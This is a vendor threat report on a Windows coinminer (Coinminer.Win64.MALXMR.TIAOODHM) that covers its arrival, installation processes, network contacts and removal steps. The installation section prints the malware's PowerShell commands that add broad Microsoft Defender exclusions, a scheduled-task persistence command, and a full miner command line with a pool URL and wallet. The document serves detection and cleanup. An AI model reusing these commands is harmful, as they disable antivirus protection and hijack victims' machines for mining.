Coinminer.Win64.MALXMR.TIAOODHM

August 31, 2023
 Analysis by: Melvin Jhun Palbusa
 ALIASES:

Trojan:Win32/CoinMiner!pz (MICROSOFT)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Coinminer

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Dropped by other malware, Downloaded from the Internet

This Coinminer arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

2,244,608 bytes

File Type:

EXE

Memory Resident:

Yes

Initial Samples Received Date:

25 Aug 2023

Payload:

Connects to URLs/IPs

Arrival Details

This Coinminer arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Coinminer adds the following processes:

  • conhost.exe {Malware File Path}\{Malware File name}
  • conhost.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:Temp,$env:SystemRoot,$env:HomeDRive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
  • conhost.exe "cmd" /c shtasks /create /f /sc /onlogon /rl highest /tn "iexplorer" /tr "%Application Data%\iexplorer.exe"
  • conhost.exe "cmd" cmd /c "%Application Data%\iexplorer.exe
  • iexplorer.exe "%System\conhost.exe" "%Application Data%\iexplorer.exe
  • conhost.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:Temp,$env:SystemRoot,$env:HomeDRive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
  • conhost.exe "%Application Data%\Microsoft\Libs\sihost64.exe
  • conhost.exe C\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-no-rdmsr --cuda-bfator-hint=12 -cuda-bsleep-hint=100 --url={BLOCKED}.nanopool.org:14433 --user=435kNZ18L2zVuzcYwyjhDZdBhiDK6B7XW9ufcwEQTq68NZib7ianzcqNZnFfntZJpR65DaGUt1erviBFeAxL9eVtD1PjY5g --pass=miteq --cpu-max-threads-hint=20 --cinit-idle-wait=2 --cinit-idle-cpu=50 --tls

Other Details

This Coinminer connects to the following possibly malicious URL:

  • {BLOCKED}5-51.instances.scw.cloud:14433

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

18.666.04

FIRST VSAPI PATTERN DATE:

30 Aug 2023

VSAPI OPR PATTERN File:

18.667.00

VSAPI OPR PATTERN Date:

31 Aug 2023

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Scan your computer with your Trend Micro product to delete files detected as Coinminer.Win64.MALXMR.TIAOODHM. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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